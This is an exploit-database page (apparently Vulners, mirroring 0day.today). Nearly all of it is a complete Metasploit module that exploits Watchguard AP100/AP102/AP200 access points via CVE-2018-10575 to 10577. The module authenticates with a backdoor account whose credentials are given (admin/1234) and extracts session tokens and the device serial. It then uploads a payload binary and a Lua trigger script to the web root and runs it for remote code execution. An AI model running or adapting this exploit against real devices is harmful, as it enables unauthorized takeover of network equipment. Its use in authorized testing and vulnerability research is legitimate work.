Lucene search
K

Watchguard AP100 AP102 AP200 1.2.9.15 - Remote Code Execution Exploit

🗓️ 15 Sep 2018 00:00:00Reported by Stephen ShkardoonType 
zdt
 zdt
🔗 0day.today👁 38 Views

Watchguard AP backdoor account for remote code execution and shell upload via HTTP interface

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
   
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Watchguard AP Backdoor Shell',
      'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to
                        gain a valid web session on the HTTP administration interface. The administrator
                        can then upload a shell directly to the web root to execute it.
                        This module can also be used if you have legitimate access credentials to the device.',
      'References'  =>
        [
            ['CVE', 'CVE-2018-10575'],
        ['CVE', 'CVE-2018-10576'],
        ['CVE', 'CVE-2018-10577'],
            ['URL', 'http://seclists.org/fulldisclosure/2018/May/12'],
        ['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'],
        ],
      'Author'      => 'Stephen Shkardoon ', # ss23 / @ss2342
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DefaultTarget'  => 0,
      'Arch'           => ARCH_MIPSBE,
    ))
 
    register_options(
      [
        Opt::RPORT(443),
        #Opt::SSL(true),
        OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']),
        OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']),
      ])
  end
 
  def exploit
  begin
    res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => '/cgi-bin/luci/',
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
      })
 
    if res.nil? || res.get_cookies.empty?
        fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials')
      end
       
      # We have a valid session, so we should pull out the access credentials and find the serial number
      sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0]
    stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0]
     
      vprint_status("Got sysauth #{sysauth}")
    vprint_status("Got stok #{stok}")
     
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/luci/;#{stok}/html/Status",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => sysauth,
      })
     
    if res.nil? || res.code != 200
      fail_with(Failure::NotFound, 'Unable to request serial')
      end
     
    # Pull out the serial and store it for later
    # var   device_serial = "20AP0XXXXXXXX";
    if res.body.match(/device_serial = "(\w+)";/)
      serial = $1
    else
      fail_with(Failure::NotFound, 'Unable to find serial in response')
    end
     
    vprint_status("Got serial #{serial}")
 
    # Finally, upload our payloads
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail",
        'data'      => payload.encoded_exe,
      })
 
    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
   
    # Upload the lua script that executes our payload
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail",
        'data'     => "#!/usr/bin/lua
os.execute('/bin/chmod +x /tmp/payload');       
os.execute('/tmp/payload');"
      })
     
    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
     
    # Remove the trigger script once we've got a shell
    register_file_for_cleanup("/www/cgi-bin/payload.luci")
     
    vprint_status("Uploaded lua script")
     
    # Trigger our payload
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/payload.luci",
      })
       
    vprint_status("Requested lua payload")
     
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Failed to connect to the web server")
      return nil
    end
  end
end

#  0day.today [2018-09-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2018 00:00Current
8.2High risk
Vulners AI Score8.2
EPSS0.11206
38